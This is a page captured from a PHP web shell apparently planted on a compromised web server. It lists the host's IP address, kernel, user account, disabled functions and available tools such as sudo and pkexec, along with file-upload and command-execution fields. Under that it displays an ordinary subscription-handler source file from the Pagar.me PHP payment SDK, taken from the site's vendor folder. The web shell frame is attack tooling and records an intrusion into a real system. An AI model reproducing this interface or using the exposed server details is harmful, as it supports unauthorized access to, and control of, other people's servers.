403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/vendor/pagarme/pagarme-php/lib/Subscription/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/vendor/pagarme/pagarme-php/lib/Subscription//SubscriptionHandler.php
<?php

namespace PagarMe\Sdk\Subscription;

use PagarMe\Sdk\AbstractHandler;
use PagarMe\Sdk\Card\Card;
use PagarMe\Sdk\Customer\Customer;
use PagarMe\Sdk\Plan\Plan;
use PagarMe\Sdk\Transaction\BoletoTransaction;
use PagarMe\Sdk\Transaction\CreditCardTransaction;
use PagarMe\Sdk\Transaction\UnsupportedTransaction;
use PagarMe\Sdk\Subscription\Request\CardSubscriptionCreate;
use PagarMe\Sdk\Subscription\Request\BoletoSubscriptionCreate;
use PagarMe\Sdk\Subscription\Request\SubscriptionGet;
use PagarMe\Sdk\Subscription\Request\SubscriptionList;
use PagarMe\Sdk\Subscription\Request\SubscriptionCancel;
use PagarMe\Sdk\Subscription\Request\SubscriptionUpdate;
use PagarMe\Sdk\Subscription\Request\SubscriptionTransactionsGet;

class SubscriptionHandler extends AbstractHandler
{
    use SubscriptionBuilder;

    /**
     * @param Plan $plan
     * @param Card $card
     * @param Customer $customer
     * @param string $postbackUrl
     * @param array $metadata
     */
    public function createCardSubscription(
        Plan $plan,
        Card $card,
        Customer $customer,
        $postbackUrl = null,
        $metadata = null,
        $extraAttributes = []
    ) {
        $request = new CardSubscriptionCreate(
            $plan,
            $card,
            $customer,
            $postbackUrl,
            $metadata,
            $extraAttributes
        );

        $response = $this->client->send($request);

        return $this->buildSubscription($response);
    }

    /**
     * @param int $id
     * @param Plan $plan
     * @param Customer $customer
     * @param string $postbackUrl
     * @param array $metadata
     */
    public function createBoletoSubscription(
        Plan $plan,
        Customer $customer,
        $postbackUrl = null,
        $metadata = null,
        $extraAttributes = []
    ) {
        $request = new BoletoSubscriptionCreate(
            $plan,
            $customer,
            $postbackUrl,
            $metadata,
            $extraAttributes
        );

        $response = $this->client->send($request);

        return $this->buildSubscription($response);
    }

    /**
     * @param int $subscriptionId
     */
    public function get($subscriptionId)
    {
        $request = new SubscriptionGet($subscriptionId);

        $response = $this->client->send($request);

        return $this->buildSubscription($response);
    }

    /**
     * @param int $page
     * @param int $count
     */
    public function getList($page = null, $count = null)
    {
        $request = new SubscriptionList($page, $count);

        $response = $this->client->send($request);

        $subscriptions = [];
        foreach ($response as $subscription) {
            $subscriptions[] = $this->buildSubscription($subscription);
        }

        return $subscriptions;
    }

    /**
     * @param Subscription $subscription
     */
    public function cancel(Subscription $subscription)
    {
        $request = new SubscriptionCancel($subscription);

        $response = $this->client->send($request);

        return $this->buildSubscription($response);
    }

    /**
     * @param Subscription $subscription
     */
    public function update(Subscription $subscription)
    {
	$subscriptionMemento = clone $subscription;
	$this->getSubscriptionMemento()->getPlan($subscriptionMemento);
	$this->getSubscriptionMemento()->getPaymentMethod($subscriptionMemento);
       $this->getSubscriptionMemento()->getCard($subscriptionMemento);

       $request = new SubscriptionUpdate($subscription, $subscriptionMemento);

       $response = $this->client->send($request);
        
       return $this->buildSubscription($response);
    }

    /**
     * @param Subscription $subscription
     */
    public function transactions(Subscription $subscription)
    {
        $request = new SubscriptionTransactionsGet($subscription);

        $response = $this->client->send($request);

        $transactions = [];
        foreach ($response as $transaction) {
            $transactions[] = $this->buildTransaction($transaction);
        }

        return $transactions;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit